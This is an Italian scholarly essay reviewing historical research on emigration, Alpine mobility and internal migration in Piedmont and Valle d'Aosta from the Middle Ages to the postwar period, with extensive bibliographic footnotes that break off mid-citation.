Mobilità, emigrazione all’estero e migrazioni interne in Piemonte e Val d’Aosta

1. Spazi regionali, spazi sociali
L’approccio regionale agli studi sull’emigrazione è stato ampiamente legittimato dalla storiografia e ritenuto anche utile sul piano comparativo, nonostante alcune sue ambiguità di fondo, come l’arbitrarietà dei confini giuridico-amministrativi della regione, l’appiattimento delle singolarità socio-economico-culturali presenti in tale spazio, l’unificazione di correnti migratorie con traiettorie diversificate anche a livello provinciale1. Più attente agli anni della grande emigrazione, tali ricerche hanno lasciato sullo sfondo tanto le dinamiche di lungo periodo della mobilità – e le continuità/cesure spazio-temporali tra quest’ultima e i movimenti di massa2 – quanto i rilevanti processi di emigrazione-immigrazione che nello stesso ambito regionale hanno preceduto, accompagnato e seguito l’esodo definitivo3. Insomma, una volta riconosciuta la validità euristica di tale percorso se ne sono individuati anche i limiti. Come hanno sottolineato diverse indagini, infatti, la mobilità e i suoi articolati itinerari vanno rapportati spesso a scale assai più ampie, o ridotte, e rivelano profondi intrecci con le componenti socio-culturali4.
Seppure nella loro disparità quantitativa5, gli studi sull’emigrazione in Piemonte e Val d’Aosta hanno contribuito a ridefinire i confini geografici e concettuali delle ricerche di taglio regionale perché l’orizzonte si è allargato alla più ampia macroregionalità di certi spazi eco-antropologici affini – come quello alpino – o si è ristretto alla micro-regionalità di aree accomunate dalle stesse vocazioni socio-culturali o dalla condivisione di una lunga parte della propria storia politico-culturale. A partire da tali osservatori si è risaliti alle forme più antiche della mobilità territoriale, agli scambievoli flussi di emigrazione-immigrazione presenti a livello regionale o interregionale, alle trasformazioni intervenute dapprima con l’esodo di massa e poi con le successive ondate postbelliche. Si sono individuati così sia più tardivi flussi migratori sviluppatisi nelle realtà agricole colpite dalle crisi di singoli settori produttivi – e quindi più simili a quelli di altre note aree dell’Italia rurale – sia antichi sistemi di mobilità presenti nelle realtà minerarie e manifatturiere, dove i reiterati processi di ristrutturazione dei settori provocarono dinamiche migratorie più vicine ad altre esperienze dell’Italia centro-settentrionale o della stessa Europa della old migration.
Insomma, come ho avuto modo di sottolineare già alcuni anni fa limitandomi al solo osservatorio del Piemonte – più che tipologie di carattere regionale sono affiorati comportamenti e situazioni che non rimandano tanto a un modello unitario – l’emigrazione di qualità, attribuita talora a tutta l’area nordoccidentale del paese o a quella alpina nel suo complesso – quanto a progetti e strategie osservabili in situazioni assai articolate6. Come in altre esperienze questi comportamenti consentirono la costruzione di una rete di rapporti, dapprima nelle sedi della più antica mobilità, poi nei più ampi circuiti internazionali aperti dalla grande emigrazione e infine negli itinerari, interni e all’estero, durante le successive riprese dei flussi.
Furono questi rapporti a favorire la penetrazione delle correnti regionali nelle molteplici società di arrivo. Come è infatti noto, sulle dinamiche delle “regioni all’estero” il dibattito storiografico è stato altrettanto nutrito e ha investito sia il rapporto delle correnti regionali con la diaspora nazionale, con le altre diaspore degli italiani e con le reti del transnazionalismo, sia le forme dell’integrazione e della mobilità sociale dei differenti gruppi7. Alla discussione di questi fenomeni gli studi sulla Val d’Aosta non hanno offerto molti approfondimenti. Nella riconosciuta particolarità della situazione linguistico-identitaria locale – che favorì l’integrazione degli emigranti nelle sedi più frequentate e affini – l’aspetto più sottolineato è stato soprattutto il reiterato uso politico dei movimenti migratori. Nei numerosi studi dedicati al Piemonte, invece, i comportamenti degli emigranti all’estero sono stati sottoposti ad approfondimenti e comparazioni tanto da parte della storiografia dei paesi di immigrazione quanto da indagini più mirate sulle aree di partenza, sulle molteplici mete all’estero, sui percorsi interni allo stesso territorio regionale. Tali studi hanno dato così un apporto agli interrogativi sollevati nel dibattito internazionale e hanno soprattutto mostrato che la più facile integrazione dei piemontesi all’estero – che al pari di quella di altre correnti migratorie provenienti dalle aree settentrionali è stata spesso enfatizzata nelle rappresentazioni delle società di arrivo come nelle autorappresentazioni degli emigranti – non derivava da un differente bagaglio di origine: gli spazi sociali costruiti dagli emigranti nei più sedimentati itinerari internazionali e interni furono più rilevanti delle vocazioni regionali.
2. Gli studi sulla Val d’Aosta.
Nelle più radicate forme della mobilità in Val d’Aosta si configura una molteplicità di flussi e percorsi professionali le cui traiettorie furono disegnate più dai grandi itinerari alpini dei colli che dalla prossimità delle mete. Alla minore attrazione delle aree piemontesi rispetto a quelle transalpine si univa infatti una predilezione per le destinazioni tedesche da parte di quanti abitavano le vallate degli affluenti di sinistra della Dora – Lys, Evançon, Valtournanche – e quella opposta, da parte delle popolazioni dell’alta valle, per la Francia, raggiungibile invece attraverso i colli del Piccolo e del Gran San Bernardo. Le spinte più forti verso certe destinazioni derivavano tuttavia dalla vicinanza che univa le popolazioni di cultura tedesca ai paesi linguisticamente affini e quelle con idiomi franco-provenzali alle zone francofone8.
Una fiorente migrazione invernale interessava già dal XIV secolo i mercanti di stoffe che dai paesi walser della valle del Lys e da Gressoney si dirigevano verso la Baviera e il lago di Costanza; mentre un’opposta migrazione estiva verso la Francia coinvolgeva fin dal XVI secolo le popolazioni della bassa valle del Lys, in prevalenza muratori, carpentieri e tagliatori di pietre. Ancora diversa era la situazione degli abitanti dell’Evançon da dove questi si dirigevano in massima parte verso la Savoia, il Bresse e la Svizzera, incoraggiati in questo caso dalle mire di popolamento da parte dei signori locali, che possedevano molti feudi in tali zone. Mentre dalla comunità di Brusson, nella stessa valle, i gressonard – mercanti di stoffe e chincaglierie – già nel XVII secolo raggiungevano l’Austria, l’Ungheria, l’Alsazia e la Lorena. Alla ricchezza di queste migrazioni – cui se ne aggiungevano altre ugualmente articolate per itinerari, composizione sociale e di genere9 – si accompagnavano forme di mobilità più modeste, ma tutte essenziali per le economie locali10. L’emigrazione, in tutte le sue variabili e nella sua estrema varietà locale, già nell’ancien régime era uno dei fattori della radicata pluriattività e produceva un ricavato annuo che già nel XVIII secolo era pari a quello ottenuto con la più ricca risorsa valdostana, il commercio di bestiame11.
Nella varietà di questi flussi si delineano quindi molti tratti comuni alla mobilità della macroregione alpina. A questa l’avvicinavano del resto altri comportamenti socio-demografici: l’estesa alfabetizzazione, tipica delle aree più elevate; la mobilità scolastica degli instituteurs, caratteristica delle stesse zone altimetriche; il basso saldo demografico, diffuso nelle valli più elevate già in età moderna ma che caratterizzava l’intera regione ancora negli anni dell’esodo di massa12. La grande emigrazione, come altrove, si innestò su questa articolata mobilità dopo l’unità politica italiana, quando la regione dovette fare i conti con il grave declino – avviato già nel corso degli anni Quaranta dell’Ottocento – delle sue antiche risorse minerarie, siderurgiche e metallurgiche, e con le accresciute difficoltà di comunicazione. Essa dovette inoltre fronteggiare la crisi dovuta alla sua separazione dalla Savoia e quella indotta dall’adozione del regime liberistico dei primi governi italiani13. Così, se tra il 1862 e il 1881 più di 6.000 abitanti abbandonarono la zona14, tra il 1885 e il 1905 gli emigranti salirono a 22.000, con un valore annuo che tra il 1907 e il 1909, avrebbe toccato il 38 per mille15.
Gli andamenti numerici e i ritmi temporali della grande emigrazione si intrecciarono con le particolari situazioni locali e risentirono delle differenze economico-ambientali tra basse, medie e alte valli16. Dalla fine dell’Ottocento, e soprattutto dagli anni Trenta, tuttavia, anche in Val d’Aosta l’emigrazione diventò prevalentemente definitiva. Alle politiche fasciste, che per motivi politico-culturali favorirono l’espatrio assai più che in altre zone, qui si accompagnarono anche i fallimenti, nel 1928 e nel 1930, dei più importanti istituti bancari che accoglievano i risparmi di molti valdostani17. Sta di fatto che, mentre nelle precedenti ondate l’emigrazione aveva colpito maggiormente l’alta montagna, tra il 1922 e il 1931 essa fu più estesa e numerosa nella media montagna, perché nelle aree più elevate proprio allora si cominciò ad affacciare la promettente risorsa del turismo18.
Negli itinerari definitivi – nonostante le numerose partenze per l’Argentina, il Canada francese, gli Stati Uniti, l’Australia e persino il Brasile19 – continuarono tuttavia a prevalere le destinazioni europee più seguite nelle migrazioni del passato. In queste sedi le presenze dei valdostani furono assai più numerose di quelle registrate nelle città piemontesi o italiane. E, soprattutto nelle zone linguisticamente più affini e frequentate, come quelle svizzere e francesi – dove in città come Parigi, Lione e Marsiglia i valdostani erano segnalati fin dai decenni prima della rivoluzione francese – non solo si svilupparono associazioni, banche, scuole, organismi rappresentativi, giornali, ma si contarono anche i più frequenti casi di mobilità sociale sia nel settore commerciale e alberghiero che in quello edile20.
Nel secondo dopoguerra, la ripresa dei flussi interessò ancora la media montagna, perché nelle zone più elevate, sotto l’impulso più incalzante del turismo, tra il 1961 e il 1966 si registrò perfino una lieve ripresa demografica21. In questi anni, tuttavia, all’arresto degli esodi transoceanici e alla stabilizzazione di quelli verso l’Europa, si accompagnò la ripresa di movimenti stagionali e temporanei con direttrici anche interne. Verso il Piemonte, in particolare, assai più che in passato furono intrecciati scambievoli rapporti di mobilità interna grazie all’impulso dell’intensa industrializzazione delle due aree22. Negli stessi anni ripresero comunque le migrazioni temporanee verso le mete europee, soprattutto la Svizzera, dove si diressero anche gli immigrati giunti nella regione tra le due guerre. Nel cantone del Vaud, per esempio, molte donne che andavano a lavorare nella viticoltura, e costituivano l’80% dei movimenti, erano venete23.
I giudizi che sono stati formulati nei più significativi bilanci storiografici sulle migrazioni valdostane hanno posto l’accento, come si è già detto, sul ruolo svolto dalla particolare identità linguistico-culturale dell’area nel corso della storia postunitaria. Nel caso della Val d’Aosta, infatti, alle conseguenze economiche che a partire dalla nascita dello stato nazionale favorirono, come nel resto del paese, l’esodo di massa, si aggiunsero i riflessi linguistici e culturali del mutamento delle appartenenze politiche e amministrative e, con queste, il nuovo ruolo conferito alle migrazioni. “L’elemento caratteristico del caso valdostano – ha scritto in proposito Stuart Woolf – è la funzione attribuita agli immigrati”24. E nella storia della regione ha individuato le tappe dell’uso politico di tale variabile a partire dalle scelte dei governi liberali – già tendenti all’italianizzazione indiscriminata dell’area – attraverso la ben più autoritaria forzatura politica ed economica operata in tal senso dal fascismo, fino alla funzione attribuita alle migrazioni nel periodo postbellico25. In questa fase l’uso politico dei migranti seguì una duplice direzione: per la definizione dell’identità regionale da un lato si puntò a considerare giuridicamente e culturalmente “valdostani” gli immigrati, mentre dall’altro si continuò a ritenere “valdostane” le varie generazioni degli emigrati all’estero26.
Assieme al fattore politico, gli studi hanno posto in rilievo le motivazioni culturali che a loro volta dettero influirono sulle dinamiche migratorie della zona. Oltre all’importanza della continuità delle relazioni spaziali e culturali intrattenute con certe aree dai migranti, sono state infatti sottolineate anche le motivazioni che tennero lontani gli abitanti della valle dalle attività minerarie e in parte da quelle siderurgiche che, assieme all’industria idroelettrica, come è noto, a partire dagli anni del fascismo furono promosse da grandi attori economici nazionali a sostegno della politica dell’immigrazione del regime27. Non diversamente da quanto osservato nei settori del tessile, nel vicino Piemonte, molti lavoratori preferirono conservare la loro tradizionale pluriattività e le connesse attitudini migratorie piuttosto che passare a lavori non graditi28.
Sta di fatto che grazie all’insieme di tali scelte fu progressivamente aperta la strada al forte incremento demografico della Grande Vallée negli anni della massima industrializzazione e urbanizzazione: dapprima, in seguito alla prima guerra mondiale, si registrò l’arrivo degli immigrati provenienti in gran parte dal Veneto e dallo stesso Piemonte, e infine, dopo la seconda guerra, soprattutto quello dei meridionali29. Nella duplice mobilità locale, in definitiva, accanto alla lunga durata e alle articolate dinamiche territoriali delle migrazioni, alle scelte politiche ed economiche che influenzarono i vari movimenti dell’area, affiorano anche i ruoli che in tali percorsi svolsero le scelte, gli orientamenti e i rapporti intrecciati dai migranti.
3. Il Piemonte: un cantiere di studi ancora in movimento
È noto come il Piemonte, grazie all’azione incrociata di numerose iniziative di enti pubblici e privati, sia diventato uno dei laboratori più ricchi di indagini anche rispetto alle aree italiane con il più alto tasso di esodo di massa. Un movimento cui il Piemonte ha contribuito comunque con circa due milioni di emigranti, conteggiati tra il 1876 e il 1927, e quindi in una misura sostanziosa che, benché non allineabile a quella del Sud, si è quanto meno avvicinata all’emigrazione di altre regioni settentrionali quali il Veneto e la Lombardia. Tale fenomeno colpì in modo abbastanza uniforme le varie province, seguendo un andamento cronologico e territoriale non diverso da quello registrato in altre zone del paese con caratteristiche affini30. Si sono infatti ravvisate situazioni nelle quali, a seconda dell’organizzazione socio-produttiva, i modelli e i tempi migratori tipici di certe aree agricole – come le zone collinari della viticoltura investite più tardivamente dall’esodo – si alternarono a quelli presenti in altre aree agricole dell’area padana – come le pianure cerealicole e risicole – o quelli registrati delle numerose aree manifatturiere, nelle quali sui più abituali fenomeni di emigrazione-immigrazione si innestarono i nuovi flussi di massa a partire dagli anni delle gravi crisi dei rispettivi settori. Anche in Piemonte, infine, lo spopolamento della parte alpina si impose inesorabilmente negli anni successivi al primo e al secondo conflitto mondiale31.
È stato proprio quest’ultimo ambito territoriale il più analizzato, sia nel lungo che nel breve periodo32. Grazie all’esistenza di antichi flussi migratori di lavoratori e di esuli, di minoranze religiose, come i valdesi, l’area alpina è stata esaminata tanto nei versanti economicamente più deboli – come gran parte del territorio sudoccidentale facente capo alla provincia di Cuneo, o quello di certe vallate dell’area torinese – quanto in quelli più forti degli insediamenti protoindustriali, come il chierese, la valchisone, la valsesia, il canavese e il biellese33. L’individuazione di sistemi migratori legati al colportage, alla lavorazione del rame delle miniere, alla filatura e alla tessitura, all’edilizia e ai più tradizionali lavori itineranti, ha permesso di mettere a fuoco, accanto alla già sottolineata rilevanza economica di tali attività, anche le forme organizzative del lavoro, i suoi esiti imprenditoriali, le vocazioni precocemente transnazionali delle reti sociali ad esso correlate34. Strettamente intrecciati a questi fenomeni, sono emersi anche i sistemi dell’organizzazione domestica e sociale, i ruoli svolti dagli uomini e dalle donne in quelle “società parziali” che furono il risultato di un esodo quasi esclusivamente maschile35. Si è visto così come anche i soggetti femminili, grazie alla gestione delle rimesse e alla loro precoce apertura al mondo esterno, abbiano partecipato a quella sorta di “villaggio globale” i cui riflessi sulle identità sociali e politiche delle donne sono stati messi di recente in rilievo per la comunità siciliana di Sutera36. Sono stati inoltre esaminati i contributi femminili alle migrazioni verso i lavori domestici e agricoli, alle catene migratorie legate alle “vie della seta”, nonché i processi di emigrazione-immigrazione nei quali, come in altre aree del tessile, negli anni tra le due guerre furono coinvolte le donne, in massima parte venete37.
Seppure nella dispersione territoriale caratteristica delle diaspore italiane, nelle varie fasi dell’esodo di massa le traiettorie all’estero dei piemontesi risultarono accomunate dalla ben nota predilezione per la meta francese e da quella altrettanto nota per l’Argentina, che da sola, tra il 1876 e il 1978, assorbì il 58% dei flussi. Gli emigranti piemontesi dettero il loro contributo al mercato del lavoro internazionale, a seconda delle richieste dei settori minerari, edili, infrastrutturali e industriali di certe aree di arrivo, e sulla base degli accordi stabiliti di volta in volta dalle mutevoli politiche migratorie, e contribuirono anche allo sviluppo di particolari settori produttivi, commerciali e agricoli38. Nella diaspora dell’internazionalismo operaio, inoltre, l’apporto di militanti e dirigenti sindacali fu rilevante soprattutto dalle aree nelle quali la conflittualità sociale, e poi la repressione fascista, incanalarono i protagonisti di tale dissenso lungo le strade della consolidata emigrazione economica39.
Grazie alle folte corrispondenze familiari, alle numerose testimonianze autobiografiche e fotografiche – raccolte in varie aree di emigrazione e immigrazione e conservate in differenti sedi del territorio regionale – altri studi hanno esaminato la vita quotidiana e collettiva dei piemontesi all’estero a partire non solo dalle più consuete rappresentazioni delle società d’arrivo ma anche dalle autopercezioni degli stessi emigranti40. Sono affiorati così, accanto alle esperienze familiari e matrimoniali più comuni, e alla loro trasformazione nel corso della sequenza generazionale, anche i mutamenti del ciclo della vita domestica, dei riti privati e delle cerimonie collettive. E si è visto come, nella debole consistenza di aggregazioni sociali basate sulla comune origine regionale o locale, le tradizioni comuni fossero talora più inventate che reali, mentre appartenenze e identità, nelle loro continue elaborazioni, trascendessero anche la dimensione regionale, o nazionale, rivelando riferimenti assai più estesi e articolati. A partire da singole vallate o comunità, le comunicazioni e le relazioni si dispiegavano in un’amplissima traiettoria transnazionale che coinvolgeva sia le destinazioni più note sia aree più desuete, come le sudafricane o le asiatiche41. Ravvisabile già in passato nelle forme del plurilocalismo che caratterizzavano il ritorno degli emigranti nei luoghi dove avevano conservato le case o le proprietà, tali comportamenti si osservano ancora oggi nelle reiterate forme del ritorno delle generazioni più giovani42. Come in altre situazioni migratorie, tuttavia, si tratta di un’esperienza in cui l’unicità del luogo reale non risulta più come tale43. Soprattutto negli attuali processi di “glocalizzazione” le aree di partenza sono diventate anche delle “aree di arrivo, di rielaborazione e di rimessa in circolo di culture”, nelle quali è possibile cogliere tutte le ibridazioni e trasformazioni tipiche della contemporaneità44.
Quanto ai processi di integrazione e mobilità sociale nelle nuove sedi di arrivo, infine, l’esperienza dei piemontesi all’estero ha permesso di chiarire, come si è detto, che la più facile integrazione e la più diffusa mobilità sociale attribuita agli immigrati provenienti da certe aree territoriali, come quelle settentrionali, non fossero affatto una peculiarità regionale, ma nascessero soprattutto dalla loro maggiore penetrazione nei tessuti sociali dei luoghi d’arrivo. In Francia, per esempio, dove in certe aree limitrofe la continuità delle migrazioni dal Piemonte fu particolarmente accentuata, non solo si svilupparono precoci forme associative, lotte sindacali e politiche ma si registrò anche una maggiore “trasparenza” e una più diffusa mobilità sociale degli immigrati provenienti dalla regione45. E così accadde in Argentina, dove la precocità dell’arrivo e la penetrazione sociale dei piemontesi dettero origine a una rete associativa assai nutrita e anche molto analizzata dalla storiografia46. Grazie a questo radicamento, come per altri gruppi giunti nella zona del Plata prima dell’esodo di massa, fu possibile il più rapido accesso alla vita politica, alla formazione delle élite locali, ai processi di mobilità sociale47.
Quest’ultimo aspetto, in particolare, si è definito meglio attraverso l’analisi dei percorsi dei piemontesi sul territorio regionale e mediante il loro confronto con quelli degli immigrati meridionali giunti a Torino durante i movimenti di massa degli anni Cinquanta e Sessanta. Le migrazioni interne – già osservate nello stato sabaudo e nella sua capitale durante l’ancien régime e l’Ottocento48 – sono diventate nuovo oggetto di osservazione e di confronto, dopo il lungo silenzio sull’argomento49. Come sperimentarono nella Torino del primo Ottocento uomini e donne che svolgevano diverse attività o appartenevano a generazioni differenti50, e come hanno riscontrato altri studi mirati sulla mobilità sociale dei meridionali a Torino51, esistevano, ed esistono, forti distanze tra gli esiti sociali delle vecchie e delle nuove migrazioni. La maggiore mobilità sociale dei piemontesi rispetto a quella assai più debole dei meridionali, tuttavia, non è da rapportare tanto all’influenza del differente “capitale” di origine o alla loro cultura di partenza, quanto alla diversità degli itinerari spazio-sociali nella città. Quelli seguiti dei piemontesi, proprio perché più a lungo radicati nelle nuove reti del lavoro e della vita cittadina, furono più favorevoli alle carriere interne e alla mobilità sociale52.
Note
1 Per un bilancio cfr. “Giornale di Storia contemporanea”, III, 2, (2000) e Matteo Sanfilippo, Problemi di storiografia dell’emigrazione italiana, Viterbo, Sette Città, 2002. Per la comparazione cfr. Fernando Devoto, Emigrazioni spagnole e italiane a confronto, in Identità degli italiani in Argentina. Reti sociali. Famiglia. Lavoro, a cura di Gianfausto Rosoli, Roma, Studium, 1993, p. 63. Per i limiti sui confini e l’articolazione territoriale cfr. Le Marche fuori dalle Marche. Migrazioni interne ed emigrazione all’estero tra XVIII e XX secolo, a cura di Ercole Sori, Ancona, “Quaderni di Proposte e ricerche”, 1998, I, p. 43. Sulla diversità degli itinerari cfr. Fernando J. Devoto, Las migraciones de las Marcas a la Argentina, ibid., pp. 95 e ss.
2 Per questa critica cfr. M. Sanfilippo, Introduzione, “Giornale di Storia contemporanea”, cit., pp. 6-17.
3 Per tale limite cfr. E. Sori, Prefazione, in Le Marche, cit., p. 18.
4 Dionigi Albera, Dalla mobilità all’emigrazione. Il caso del Piemonte sud-occidentale, in L’émigration tranfrontalières: les italiens dans la France méridionale, a cura di Paola Corti e Ralph Schor, “Recherches régionales”, 3° trimestre (1995), pp. 25-64; Maurizio Gribaudi, Introduzione alla sessione Movimenti migratori e mobilità sociale, in SIDES, Disuguaglianze, stratificazione, mobilità sociale nelle popolazioni italiane dal secolo XIV agli inizi del secolo XX, Bologna, CLUEB, 1997, pp. 171-176; La montagna mediterranea. Una fabbrica d’uomini? Mobilità e migrazioni in una prospettiva comparata, a cura di Dionigi Albera e Paola Corti, Cavallermaggiore, Gribaudo, 2000.
5 Cfr. Paul Guichonnet, Quelques aspects de l’émigration des savoyards et des valdôtains dans les pays alémaniques, “Augusta praetoria”, IV, 1 (1951), pp. 171-176; Maria Grazia Rossi, L’emigrazione valdostana con particolare riguardo verso la Francia, Tesi di Laurea, Università di Torino, Facoltà di Giurisprudenza (Corso di laurea in Scienze Politiche), aa. 1966-1967; Elio Riccarand e Tullio Omezzoli, Sur l’émigration valdôtaine. Le donnés économiques et sociales (1700-1939). Une anthologie de la presse (1913-1939), Aoste, Institut de la Résistance en Vallée d’Aoste, 1975; Association valdôtaine Archives Sonores, émigration valdôtaine dans le monde: la diaspora d’un peuple au cours des siècles: histoire et témoignages, Aosta, Musumeci, 1986; Paolo Sibilla, Aspetti antropologici del fenomeno migratorio in alcune comunità delle Alpi occidentali: caratteri culturali e forme di aggregazione sociale, in AA.VV., Migrazioni attraverso le Alpi occidentali, Torino, Regione Piemonte, 1988, pp. 311-328; Stuart J. Woolf, Emigrati e immigrati in Val d’Aosta, in Storia d’Italia. Le regioni dall’Unità a oggi, La Valle d’Aosta, a cura di Stuart J. Woolf, Torino, Einaudi, 1995, pp. 596-617. Per riferimenti al problema, oltre alle analisi contenute nell’Inchiesta agraria Jacini e in quella dell’INEA, cfr. Angelo Pichierri, Industrializzazione dipendente e classe operaia, ibid., pp. 594-617; Lorenzo Gillo, I mutamenti dell’identità valdostana, in L’espace alpin et la modernité. Bilans et perspectives au tournant du siècle, a cura di Daniel Grange, Grenoble, Presses Universitaires de Grenoble, 2002, pp. 311-326; Paolo Sibilla, La Thuile in Valle d’Aosta. Una comunità alpina tra tradizione e modernità, Firenze, Olschki, 2004; Pierpaolo Viazzo, Comunità alpine. Ambiente, popolazione, struttura sociale nelle Alpi dal XVI secolo a oggi, Bologna, il Mulino, 1990; Bernard Janin, Le Vald’Aoste. Tradition et renouveau, Aosta, Musumeci, 1991. Per la bibliografia sul Piemonte cfr. Mauro Reginato, Patrizia Audenino, Carlo Corsini, Paola Corti, L’emigrazione piemontese all’estero. Rassegna bibliografica, Torino, Regione Piemonte, 1999. Cfr. inoltre le note del secondo paragrafo di questo saggio.
6 Mi permetto di rimandare a Paola Corti, L’emigrazione piemontese: un modello regionale?, “Giornale di storia contemporanea”, cit., pp. 38 e ss.
7 Per la discussione sui rapporti tra le correnti migratorie locali italiane, diaspora e transnazionalismo oltre al volume, ora anche in italiano, di Donna Gabaccia, Emigranti, le diaspore degli italiani dal Medioevo a oggi, Torino, Einaudi, 2003, cfr. Itinera. Paradigmi delle migrazioni italiane, a cura di Maddalena Tirabassi, Torino, Fondazione G.Agnelli, 2005. Per un recente bilancio degli studi sul transnazionalismo cfr. Paul Levitt e Nina Glich Schiller, Conceptualizing Simultaneity: A Transnational Social Field Perspective on Society, “International Migration Review”, 38, 3 (2004), pp. 1002-1039. Sull’integrazione di differenti gruppi regionali, oltre alla citata sintesi di Gabaccia, molti approfondimenti e comparazioni sui piemontesi riguardano il caso argentino. Oltre a vari saggi su “Estudios Migratorios Latinoamericanos”, cfr., tra gli altri, gli interventi di Cacopardo e Moreno e di Miguez in Identità degli italiani in Argentina, cit., e Fernando Devoto, Le migrazioni italiane in Argentina. Un saggio interpretativo, Napoli-Roma, Istituto Italiano di Studi Filosofici, 1994.
8 P. Guichonnet, Quelques aspects, cit., pp. 11-18; B. Janin, Le Vald’Aoste, cit., pp. 124 e ss.; M.G. Rossi, L’emigrazione valdostana, cit., pp. 31-47.
9 Oltre alle migrazioni dei mercanti della Valtournanche e quelle artigiane e mercantili della Valgrisenche, erano importanti i flussi dalla Valdigne, dove già dal XVII secolo gli emigranti all’estero inviavano denari per la costruzione delle chiese. Dalla comunità di Avise, in particolare, fin dal XVIII secolo gli spazzacamini monopolizzarono il settore a Torino e a Marsiglia. Cfr P. Guichonnet, Quelques aspects, cit., pp. 14 ss.; B. Janin, Le Vald’Aoste, cit., pp. 158 e ss. Per l’imprenditorialità e il monopolio dei mestieri marginali, cfr. Migrance: marges et métiers, “Le monde alpin et rhodanien”, 1-3 (2000). Già nel XVIII secolo il 27% dei flussi era alimentato da donne che emigravano soprattutto dalla media valle verso l’interno. Cfr. B. Janin, Le Vald’Aoste, cit., p. 162.
10 Oltre ai mestieri girovaghi e alle migrazioni di boscaioli, carbonai, cardatori di canapa, già nel XIV secolo gli abitanti di Courmayeur lavoravano al porto di Genova ed erano organizzati in corporazioni, prima ancora dei bergamaschi.
11 P. Sibilla, La Thuile, cit., p. 5; E. Riccarand e T. Omezzoli, Sur l’émigration, cit., pp. 11-13
12 S.J. Woolf, Emigrati e immigrati, cit., pp. 631 e ss; P. Sibilla, La Thuile, cit., pp. 66 e ss. Cfr., oltre ai lavori di Viazzo e Sibilla, Anne Marie Granet-Abisset, La route réinventée. Les migrations del Queyrassins aux XIXe et XXe siècles, Grenoble, Presses Universitaires de Grenoble, 1994.
13 E. Riccarand e T. Omezzoli, Sur l’émigration, cit., pp. 19-20; Association Valdôtaine Archives Sonores, Émigration valdôtaine, cit., p. 31; B. Janin, Le Vald’Aoste, cit., pp. 176 e ss.
14 E. Riccarand e T. Omezzoli, Sur l’émigration, cit., p. 23; Association Valdôtaine Archives Sonores, Émigration valdôtaine, cit., pp. 39-42.
15 S.J. Woolf, Emigrati e immigrati, cit., p. 626.
16 B. Janin, Le Vald’Aoste, cit., pp. 272 e ss.
17 E. Riccarand e T. Omezzoli, Sur l’émigration, cit., p. 48
18 B. Janin, Le Vald’Aoste, cit., p. 272.
19 Marco Cout, Francesco Maolet e Giorgio Nicco, Da Donnas a Cutiriba, Biblioteca comunale di Donnas,  Bollettino n. 8 (2003).
20 E. Riccarand e T. Omezzoli, Sur l’émigration, pp. 41 e ss., P. Guichonnet, Quelques aspects, cit., p. 12; M.G. Rossi, L’emigrazione valdostana, cit., pp. 40 e ss.; Giuseppe Ciardullo, Valdôtains à Paris. Le role joué par la pro schola de Champdepraz 1919-1967, Aosta, Musumeci, 1996.
21 B. Janin, Le Vald’Aoste, cit., p. 274.
22 E. Riccarand e T. Omezzoli, Sur l’émigration, cit., p. 47; S.J. Woolf, Emigrati e immigrati, cit., pp. 628 e ss.; P. Sibilla, La Thuile, cit., pp. 210 e ss.; B. Janin, Le Vald’Aoste, cit., pp. 271 e ss.
23 M.G. Rossi, L’emigrazione valdostana, cit., p. 153; B. Janin, Le Vald’Aoste, cit., pp. 277 e ss.
24 S.J. Woolf, Emigrati e immigrati, cit., p. 625.
25 Ibid., pp. 622-623.
26 Ibid., pp. 623-624, dove si ricorda che nel 1981 circa il 40% della popolazione della valle era nata “fuori” dai confini regionali.
27 Ibid., pp. 622-623.
28 Cfr. in proposito Franco Ramella, Terra e telai. Sistemi di parentela e manifattura nel Biellese dell’Ottocento, Torino, Einaudi, 1984; A. Pichierri, Industrializzazione, cit., pp. 615-617.
29 S.J. Woolf, Emigrati e immmigrati, cit., p. 639; B. Jannin, Le Vald’Aoste, pp. 281 e ss.
30 Carlo Corsini e Mauro Reginato, L’emigrazione piemontese nel contesto italiano. Una sintesi storico-demografica dei flussi, in M. Reginato, P. Audenino, C. Corsini, P. Corti, L’emigrazione piemontese, cit., pp. 31-48.
31 Cfr. Valerio Castronovo, Il Piemonte, in Storia d’Italia, cit., pp. 93 e ss.; Vincenzo Rapetti, Uomini, colline e vigneti in Piemonte da metà ottocento agli anni trenta, Alessandria, Dell’Orso, 1984; Lidia Cravero, Vecchia e nuova emigrazione: due comunità cuneesi a confronto fra Otto e Novecento, in AA.VV., Dai due versanti delle Alpi. Studi sull’emigrazione italiana in Francia, Alessandria, Dell’Orso, 1991, pp. 59 e ss.; Giuseppe Rocca, L’emigrazione dal Piemonte sud-orientale tra Ottocento e Novecento nei suoi riflessi economici e territoriali, in Atti del congresso internazionale Dai feudi monferrini e dal Piemonte ai nuovi mondi oltre gli oceani, a cura di Laura Balletto, Alessandria, Accademia degli immobili, 1993, pp. 515-543.
32 Per una rassegna mirata degli studi sull’area alpina cfr. Patrizia Audenino, La mobilità come fattore di integrazione nella macroregione alpina: un bilancio storiografico, in Tra identità e integrazione, a cura di Luca Mocarelli, Milano, FrancoAngeli, 2002, pp. 71-88.
33 Per i valdesi, oltre alla già citata bibliografia generale cfr. Riccardo Ponti, Le colonie valdesi in Uruguay e Argentina (1856-1914), “Studi Emigrazione”, 150 (2003), pp. 277-302. Per gli esuli, cfr. tra gli altri, Fernando Devoto, Entre exilio politico y movilidad social: los intelectuales piamonteses en Argentina durante el siglo XIX, in C’era una volta la Merica. Immigrati piemontesi in Argentina, Cuneo, L’Arciere, 1990, pp. 49-58. Per le singole aree, cfr. M. Reginato, P. Audenino, C. Corsini, P. Corti, L’emigrazione piemontese, cit. Tra gli altri cfr. Franco Ramella, Terra e telai, cit ; Giovanni Levi, Centro e periferia di uno stato assoluto, Torino, Rosenberg e Sellier, 1985; Migrazioni attraverso le Alpi occidentali, cit.; Rinaldo Comba, Contadini signori e mercanti nel Piemonte medievale, Bari, Laterza, 1988; Paola Corti e Ada Lonni, Da contadini a operai, in La cassetta degli strumenti, a cura di Valerio Castronovo, Milano, Franco Angeli, 1986, pp. 195-266; la collana “Biellesi nel mondo”, Milano, Electa-Fondazione Sella, 1986-2000, a cura di Castronovo; sulla Valsesia, oltre ai lavori di Viazzo e Sibilla, cfr. i due volumi pubblicati nei “Quaderni di storia delle migrazioni dei valsesiani nell’Ottocento”, Borgosesia 1989 e 1995; sul biellese cfr. inoltre Patrizia Audenino, Un mestiere per partire. Tradizione migratoria, lavoro, e comunità in una vallata alpina, Milano, Franco Angeli, 1990, e Paola Corti Paesi d’emigranti. Mestieri, itinerari, identità collettive, Milano, Franco Angeli, 1990. Per il Piemonte sud-occidentale, oltre al già citato saggio di Albera e al volume della regione Piemonte, cfr. AA.VV., Dai due versanti delle 